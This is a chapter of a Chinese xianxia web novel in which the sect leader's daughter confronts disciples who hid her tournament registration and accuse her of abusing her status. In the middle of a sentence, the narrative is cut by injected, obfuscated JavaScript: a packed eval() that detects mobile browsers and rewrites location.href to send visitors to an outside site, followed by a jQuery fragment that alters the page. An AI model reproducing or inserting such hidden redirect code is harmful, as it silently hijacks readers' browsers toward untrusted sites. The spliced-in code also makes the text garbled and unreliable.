宗红叶来到聚仙殿前殿,找到办事处,不见专管报名之事的林掌事,左右找不到熟脸的修士,只能先去了办事处门口的案桌前。
坐在案桌后的人正昏昏欲睡。
她扣了扣案桌,问:“这位师兄,请问林掌事在何处?”
袁原听到这声音,打了个激灵,入眼的是一道明媚熟悉的身影,他不禁端正了身姿,又觉得不对,转而刻意伸了个懒腰,懒洋洋地掀了掀眼皮,哈气连天地回:“掌事大人如今正在长清殿。”
天知道,他在这里等了多久,才等到她。
宗红叶若有所思:“林掌事是在玑玉峰上吗?”
袁原仍一改不改地回答:“林掌事是在长清殿内。”
长清殿为历代宗主所居之地,位于玑玉峰上,居于束月山之中,也是一处灵脉福地。
一个掌事去这里做什么?若有需要宗主知道的要事,也得先报给殿主,再由殿主上报。
要是不在,也不会在长清殿,而这个弟子却点明了是长清殿。
宗红叶故意拉长脸,冷哼一声:“长清殿?他去那儿做什么?难不成还是宗主请他去的。”
袁原脸色微变,宗红叶缓缓垂下眼眸,刻意地低声询问:“林掌事还在这吧?”
袁原这次连头也未曾抬起,只不耐烦道:“您要找林掌事。就请您去长清殿去找。我这儿没有,其余的弟子也不知道,您问了也是白问。”
“请您别为难我这小小一个外门弟子。”
为难?是他们在为难她。
宗红叶看了一眼他,什么也没说,转过身去了另一个桌案,依旧是同样的问题,同样的回答。
她换了几个办事处,都是一样的回答。
躲着她?一个个顾左而又言它。
她再蠢,也知道事情有蹊跷的地方。
宗红叶怒极,她倒是不知自己值得这么大费周章地去为难,直接绕路去往内殿,还坐在那里的袁原立刻起身追上去阻拦。
“你要去哪里?”
他气喘吁吁地追上宗红叶,也不知这家伙用的什么功法,怎么会走得这般快。
宗红叶睨了他一眼:“去找殿主。”
她的目光平静,袁原不禁瞬间矮了三分,语气有些没底:“你当是谁都能找殿主,有什么事你可以和我说。”
“和你说有用?”宗红叶扫了一眼殿内,都在假装各忙各的,实则都在窥伺这里。
“我已到筑基,也按时报名,为何大比名单中却没有我?”
她的目光落在神色紧绷的袁原身上,她倒要看看,他会如何回答。
袁原一脸惊讶:“你报名了?名单上又没有你?”他满口的不解,“怎么会呢?不可能发生这样的事。”
自顾自嘟囔了一会儿,他开始用怀疑的眼神瞄着宗红叶:“会不会是你根本没报名?”他状似没有恶意的提醒,“有很多修士都发生过类似的事情,明明是自己错过了报名时间,反而一口咬定是别人在其中动了手脚。”
宗红叶笃定道:“没有,绝对没有。”
她在袁原震惊的眼神下掏出了留音石,里面是她报名时和林掌事的对话,确认了她确实报名成功。
宗红叶又将留音石收起,目不转睛地看着一脸讶然的袁原:“所以,可以告诉我为什么名单上没有我的名字?”
她早就料到这种可能性,事先做好了准备,这二十来年她什么倒霉事都遇到过。
对她的一系列操作,袁原开始思绪混乱,听到她问,他仍是一脸为难道:“这我倒是不知。这事由林掌事一人负责。你问我,我也不大清楚,当然,我也不能让你进去,没有殿主的同意,我不能随意放人进去。”
宗红叶早就猜到他什么都不会说,听到这样的回答,心还是忍不住地下沉。
“这样的话,那我更要找殿主了。”宗红叶绕过他,继续往前走,“他手底下的人出了这样的纰漏,还躲到玑玉峰上,想来是故意而为之。一个小小的掌事就这样把天衍宗宗规踩在脚下?殿主难道不该知晓此事?”
她突然停下,目光定定地看着还在阻拦的袁原。
“还是说,你和这林掌事是一丘之貉?这就是你三番两次阻止我找殿主的原因。还是说蔺师伯也知道?”
袁原一顿,倒没料到她这么牙尖嘴利。
“宗师妹,师父他并不知道这件事,我也不知。”
宗红叶面容适时地露出一丝惊讶,上下打量了下:“哦?你是藺师伯的徒弟?”她没有回答他的问题,话锋一转,“也就是说你从第一开始就知道我是谁。”
她差点没直接说她是在怀疑他故意而为之。
袁原一愣,不禁出声:“宗门里谁不认识你。”
宗红叶无奈地反问:“那你装作不认识我做什么?”
袁原立即否认:“哪有这回事。”
“是吗?”宗红叶怀疑道,几乎是下一秒,没任何迹象地问了句,“你怎么会在外殿,这不是你该做的事。”
蔺师伯修为已至元婴,他的弟子自然也是内门弟子,没道理做一个小小的掌事。
袁原还没反应过来她为什么要问这个,直接回答:“这当然是我的工作。”
宗红叶皮笑肉不笑:“看来敷衍我和阻拦我都是你的工作。”
袁原一时语塞,他受命前来等待宗红叶,按照吩咐把她给打发了,没想到被三言两语绕进去的是自己,她还真是如传言一般难缠。
袁原心知肚明她的意思,但面上依旧是否认:“你误会了,我和你没什么恩怨,不是吗?”他的语气陡然一肃,“无论今天来的是谁,都得按照规章制度办事,谁也不能仗着靠山就肆意妄为。”
他意有所指地看着宗红叶。
靠山……她众人皆知的靠山。
宗红叶抿紧唇,垂下眼,美丽的眼睛流露出愤怒坚毅的神色,多么熟悉的话,她听得耳朵都要起茧子了。
宗红叶抬眼,目光凌冽地看着他,不卑不亢道:“这位师兄,我看你才是不把宗门宗规放在眼里,肆意妄为,大胆至极,我都和你说了事情的原委,而你在这给我东扯一句、西扯一句,难道不是在故意转移话题吗?还是说这里有你掺的一笔。”
宗红叶不给他说话的机会,目光如锋利的剑矛,开始了她无边无际的联想。
“你一而再再而三的阻止我去见蔺师伯,我和师伯本就相熟,而你却不让我去见他。难道说你是魔修?控制了蔺师伯、不敢让我去见他?”
“说不定还真是这样,你是魔修吧。”
别人给她扣帽子,她也会给别人扣帽子
“你、你……一派胡言。”袁原瞪大了眼睛,看着一步步逼近的宗红叶,不禁缓缓后退。
宗红叶把他逼到走廊两边的花式栏杆前,直至他退无可退。
“你以为你们说这些话就能够让我心中生魔吗?真是太可笑了。少给我说一些有的没的,你要是对我有意见可以直接去诫恭殿告我一状,何必在听信一些这风言风语,犯下口业。”
她压低声音,眉眼如同漂亮的飞雁,展翅欲飞。
又是肆意妄为……她又做过什么肆意妄为的事呢?呵,不管是谁,都得要
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16179948|180902||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
扣个帽子给她。
诫恭殿掌天衍宗的司法刑律,修士犯了错一般都会送去诫恭殿受刑。
他们没一个人敢去诫恭殿告她,只敢在后面蛐蛐,她理解这种心思,无非是嫉妒罢了。
宗红叶的脸庞上露出不屑的神情,这种神情刺痛了袁原,她丝毫没有给袁原说话的机会,想反驳,却只能被气得脸通红,一个不留神,压坏身后的栏杆,狼狈地摔在下方的花丛中。
他们这边不算小的动静自然吸引了不少人的注意。
被看到这副狼狈模样,袁原一时觉得失了面子,他高声喝道:“宗师妹,你为何要这样咄咄逼人?我都说了林掌事不在这。”
“还有我叫袁原。方才我只是多说了一句习惯上的话,谁知道你会这么大的反应。”
宗红叶随即感受到了来自四面八方的目光,她也看见了袁原露出的隐秘微笑。
袁原……是谁?她得罪过这个人吗?
方才外面只有他二人对话,如今他的话是说给这些看热闹的人听。
主殿大门内外的修士们都盯着一脸高傲的宗红叶,宗内没有人不认识她。
嚣张跋扈的宗主之女。
要是闹大,此事无论缘由是什么,都难以善了。
毕竟宗红叶一向无法无天,尤其是宗礼对她无止境的偏袒,更让她肆无忌惮。
和袁原相熟的弟子想要拉起他,却被袁原推开,他低声说:“今日要是让她进去了,我们聚仙殿成什么了。”
那弟子神情一顿,颇有些不赞成:“袁师兄,我听她的意思好像是要问这次大比的事,就让她见一见殿主也无妨,说不定真是林掌事一时疏忽大意。”
他刚刚也被宗红叶问过,清楚她来这的原委。
袁原无奈地摇头:“你当我不知,可这位林掌事躲到了长清殿,他是为什么要做这些已经不重要了,想来这背后之人不是我们能得罪的。我们有什么办法,她明知道,却还来为难我们。”
他半遮半露地说完,仰头看着还站在原地的宗红叶。
“红叶师妹,我是真不清楚。您也别为难我一个小小的弟子了。”
袁原的态度和刚才截然不同,他是借着同门的师兄弟妹们的势来为难他。
宗红叶早已习惯一些不入流的闲言碎语,周遭对她的恶意她都能一一忽视、过滤,更何况她也不是哑巴。
宗红叶深吸一口气,重复道:“我已经说了,我要见蔺师伯。”
袁原仍是阻拦:“不行。”
宗红叶神色未变:“哦,那你就是和这个林掌事一伙的,特意针对我。”她双手抱于胸前,看了眼围观众人,“聚仙殿的林掌事故意隐去我报名的资格,导致名单上没我的名字,现已躲到了长清殿,我来找蔺师伯问一问这事。”
“难道不行吗?”她反问道,目光一一扫过挡路的众人。
众人你看看我,我看看你,皆有默契地空出一条路。
袁原见状,立马急了,大声喊道:“宗红叶,你是真傻还是假傻,我都暗示过你这事是谁所为,你就算去找蔺师伯也没用。他已经知晓这件事。”
宗红叶回过头,神色似乎有些迷茫,好像真的没听懂他的意思。
袁原摇了摇头,轻叹一声:“你何必要自取其辱呢。”
林掌事是他安排去长清殿的,这事是宗主特意交代他做的,还要让他瞒着师父,师父因宗礼的关系对宗红叶也多有看顾。
宗红叶轻轻一笑,嘴角浮现出苦涩,她望向不远处,神色隐隐委屈:“师兄,你听到了吧?他们这些人都欺负我。”